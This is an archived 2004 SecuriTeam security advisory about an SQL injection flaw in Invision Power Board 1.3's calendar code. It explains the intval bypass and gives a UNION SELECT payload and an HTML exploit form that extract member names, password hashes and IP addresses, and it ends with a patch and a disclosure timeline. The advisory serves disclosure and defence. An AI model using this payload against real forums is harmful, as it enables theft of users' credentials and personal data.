

# [UNIX] Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0009.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 01/04/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 Jan 2004 16:20:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

---

## SUMMARY

<<http://www.invisionboard.com>> Invision Power Board (IPB) is "a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world".

An SQL injection vulnerability in IPB's calendar support, allows remote attackers to insert malicious SQL statements with which they can compromise the whole SQL database and the IPB engine.

## DETAILS

Vulnerable systems:

- \* Invision Power Board version 1.3 (Final)

## Securiteam: [UNIX] Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

A vulnerability has been discovered in the sources/calendar.php file that allows unauthorized users to inject SQL commands.

Vulnerable code:

```
-----  
[...]  
  
$this->chosen_month = ( ! intval($ibforums->input['m']) ) ?  
$this->now_date['mon'] : $ibforums->input['m'];  
  
[...]  
  
$recurring = array();  
  
[...]  
  
$DB->query("SELECT * FROM ibf_calendar_events  
WHERE event_repeat=1  
AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND  
month={$this->chosen_month}) )  
");  
  
while ( $rec = $DB->fetch_row() )  
{  
$recurring[] = $rec;  
}  
  
$events = array();  
  
$DB->query("SELECT * FROM ibf_calendar_events  
WHERE event_repeat <> 1 AND month={$this->chosen_month} AND  
year={$this->chosen_year}  
OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp  
> $timenow ) )  
");  
-----
```

The `$ibforums->input['m']` is the variable `$m` which was sent by the user. We see that if `intval($ibforums->input['m'])` doesn't return numerical value, then the variable `$this->chosen_month` will be worth the number of the month in which we are.

However if it returns a numerical value, then `$this->chosen_month` will have for value that brought in by the user, that of `$ibforums->input['m']`.

This will have for consequence that, if we enter as value in `$m` for example 'aaaaa', `$this->chosen_month` will see attributing a value by default to the script. A priori we cannot thus enter another thing than number.

## Securiteam: [UNIX] Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

But, if intval('aaaa') do not return numerical value, intval('2aaaaa') returns one! The argument just has to BEGIN with a number.

Thus if we give in \$m the value '2hophophop', \$this->chosen\_month will be '2hophophop'

We execute the following request:

---

```
SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit
IN
('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) )
```

---

As it is a request of type SELECT, we can use for example the clause UNION.

As the result of the second request has to be the same type as the first one, and as in the first one, we extract everything (\*) the elements of the table ibf\_calendar\_events, we need to know its structure, which is:

---

```
CREATE TABLE ibf_calendar_events (
eventid mediumint(8) NOT NULL auto_increment,
userid mediumint(8) NOT NULL default '0',
year int(4) NOT NULL default '2002',
month int(2) NOT NULL default '1',
mday int(2) NOT NULL default '1',
title varchar(254) NOT NULL default 'no title',
event_text text NOT NULL,
read_perms varchar(254) NOT NULL default '*',
unix_stamp int(10) NOT NULL default '0',
priv_event tinyint(1) NOT NULL default '0',
show_emoticons tinyint(1) NOT NULL default '1',
rating smallint(2) NOT NULL default '1',
event_ranged tinyint(1) NOT NULL default '0',
event_repeat tinyint(1) NOT NULL default '0',
repeat_unit char(2) NOT NULL default "",
end_day int(2) default NULL,
end_month int(2) default NULL,
end_year int(4) default NULL,
end_unix_stamp int(10) default NULL,
event_bgcolor varchar(32) NOT NULL default "",
event_color varchar(32) NOT NULL default "",
PRIMARY KEY (eventid),
KEY unix_stamp (unix_stamp)
);
```

---

We can see that the result of the request should be: INT, INT, INT, INT, INT, VARCHAR, TEXT, VARCHAR, INT, INT, INT, INT, INT, INT, CHAR(2), INT, INT, INT, INT, VARCHAR, VARCHAR

## Securiteam: [UNIX] Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

Thus if we give in \$this->chosen\_month (in \$m) the value:

```
2 )) UNION SELECT
```

```
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0 FROM  
ibf_members m WHERE 1/*
```

The request executed will be:

```
SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit  
IN  
( 'w','m' ) OR ( repeat_unit='y' AND month=2 ) ) UNION SELECT 0, 0, 0, 0,  
m.id, m.name, m.password, m.ip_address, 0, 0, 0, 0, 0, 0, 0, 0, 0,  
, 0, f.id, f.name, f.password FROM ibf_members m, ibf_forums f WHERE 1/*)
```

In addition, these two requests will be executed:

```
- SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit  
IN ( 'w','m' ) OR ( repeat_unit='y' AND month=2 ) )  
- SELECT 0, 0, 0, 0, m.id, m.name, m.password, m.ip_address, 0, 0, 0,  
0, 0, 0, 0, 0, 0, 0, 0, 0, 0 FROM ibf_members m WHERE 1
```

The second request returns four 0, the id, the name, the password and the ip of the member with thirteen 0 for every member.

Later in the script another request is executed:

```
SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND  
month={ $this->chosen_month } AND year={ $this->chosen_year } OR  
( event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow  
) )
```

Which executes the following:

```
SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month= 2 ))  
UNION SELECT 0, 0, 0, 0, m.id, m.name, m.password, m.ip_address, 0, 0, 0,  
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 FROM ibf_members m WHERE 1/*
```

That generates an error. However, our request is executed prior to this error.

Exploit:

```
< html>  
< head>< title>Invision Power Board Free 1.3 FINAL SQL Injection Problems  
</title></head> < body> < form action='/index.php?act=calendar'  
method='post' onsubmit="this.m.value=2 )) UNION  
'+this.request.value+'#';this.action=this.url.value+this.action;">  
< b>IPB directory URL :</b>  
< input type='text' size='45' name='url' value='http://forum.target.com'><  
br>< br>  
< b>SQL SELECT REQUEST :</b> < input type='text' size='80' name='request'  
value='SELECT * FROM ibf_calendar_events'>< br>< br>  
< u>Attention :</u>  
The request result MUST have this structure :< br>< br>  
INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,  
INT,INT,STR,STR< br>< br>  
< input type='hidden' name='y' value='2004'>
```

## Securiteam: [UNIX] Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

```
< input type='hidden' name='m'>
< input type='submit' value='Execute'>
</form>
< br>< br>< br>
< p align="right">A patch can be found on < a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>.< br>
For more informations about this exploit :
< a href="http://www.security-corporation.com/advisories-025.html"
target="_blank">Security-Corporation.com</a></p>
</body>
</html>
```

### Solution:

The Invision Power Services were notified and have released a fix:

<http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786>  
<http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786>

### Workaround:

In sources/calendar.php replace the following lines :

```
-----
$this->chosen_month = ( ! intval($ibforums->input['m']) ) ?
$this->now_date['mon'] : $ibforums->input['m']; $this->chosen_year = ( !
intval($ibforums->input['y']) ) ?
$this->now_date['year'] : $ibforums->input['y'];
-----
```

### With:

```
-----
$this->chosen_month = ( ! intval($ibforums->input['m']) ) ?
$this->now_date['mon'] : intval($ibforums->input['m']); $this->chosen_year
= ( ! intval($ibforums->input['y']) ) ?
$this->now_date['year'] : intval($ibforums->input['y']);
-----
```

### Disclosure timeline:

30/12/2003 Vulnerability discovered  
30/12/2003 Vendor notified  
02/01/2004 Vendor response  
02/01/2004 Security Corporation clients notified  
02/01/2004 Started e-mail discussions  
03/01/2004 Last e-mail received  
03/01/2004 Public disclosure

### ADDITIONAL INFORMATION

The information has been provided by

<mailto:frog-man@security-corporation.com> frog-m@n from  
<http://www.phpsecure.info> <http://www.phpsecure.info>.

The original advisory is available at:

<http://www.security-corporation.com/advisories-025.html>

Securiteam: [UNIX] Invision Power Board SQL Injection Vulnerability (sources/calendar.php)

<http://www.security-corporation.com/advisories-025.html>.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.